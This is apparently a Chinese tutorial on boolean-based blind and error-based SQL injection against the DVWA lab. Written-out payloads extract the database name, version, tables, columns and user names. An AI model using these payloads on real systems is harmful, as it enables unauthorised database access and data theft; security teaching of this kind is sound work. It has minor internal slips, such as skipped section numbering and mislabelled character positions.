前言
在SQL注入过程中,SQL语句执行后,选择的数据不能回显到前端页面,此时需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。一般情况下,盲注可分为两类:
基于布尔的盲注(Boolean based)
提示:以下是本篇文章正文内容,下面案例可供参考
一、基于布尔的盲注
length():功能:返回字符串的长度,以字节为单位。
可以基于这个函数,实现盲注。
例:
输入1’ and length(database())>3 – -得到了结果没有报错,所以可以得到数据库名字节数大于3,
输入1’ and length(database())>4 – -得到了结果报错,所以得到数据库名字节数不大于4,
输入1’ and length(database())=4 – -得到结果没报错,所以得到数据库名字节数为4.
substr():功能:从指定的位置开始,截取字符串指定长度的子串。
ascii():功能:返回字符串最左边字符的ASCII码值
根据这两个函数得作用,来做盲注猜测。
输入1’ and ascii(substr(database(),1,1))>99 – -得到结果没有报错,所以第一个字节ASCII码值大于99,
输入1’ and ascii(substr(database(),1,1))>100 – -得到结果报错,所以第一个字节ASCII码值不大于100,
输入1’ and ascii(substr(database(),1,1))=100 – -得到结果没有报错,所以第一个字节ASCII码值为100.
输入1’ and ascii(substr(database(),2,1))=118 – -得到结果没有报错,所以第二个字节ASCII码值为118
输入1’ and ascii(substr(database(),3,1))=119 – -得到结果没有报错,所以第二个字节ASCII码值为119
输入1’ and ascii(substr(database(),4,1))=97 – -得到结果没有报错,所以第二个字节ASCII码值为97
跟据得到的ASCII码值:100.118.119.97与ASCII表对应,得到了数据库名为dvwa
这个就是基于布尔盲注的思路,因后面步骤一般使用自动化脚本,所以这里就演示到这里。
三、报错注入
输入:1’ union select updatexml(1,concat(0x5e,(select database()),0x5e),1) – -
1’ union select updatexml(1,concat(0x5e,(select version()),0x5e),1) – -
通过报错回显,得到了数据库名为“dvwa”,数据库版本为“5.7.26”。
爆库,输入:
1’ and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’),0x5e),1) – -
通过报错回显,得到了dvwa库下的两个表
爆表,输入:1’ and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’),0x5e),1) – -
通过之前爆库下的两个表,猜测users表可能有敏感数据,通过爆users表得到了他里面的字段名。
报数据,输入:1’ and updatexml(1,concat(0x5e,(select group_concat(first_name,0x3e,last_name) from users),0x5e),1) – -
爆出来敏感数据。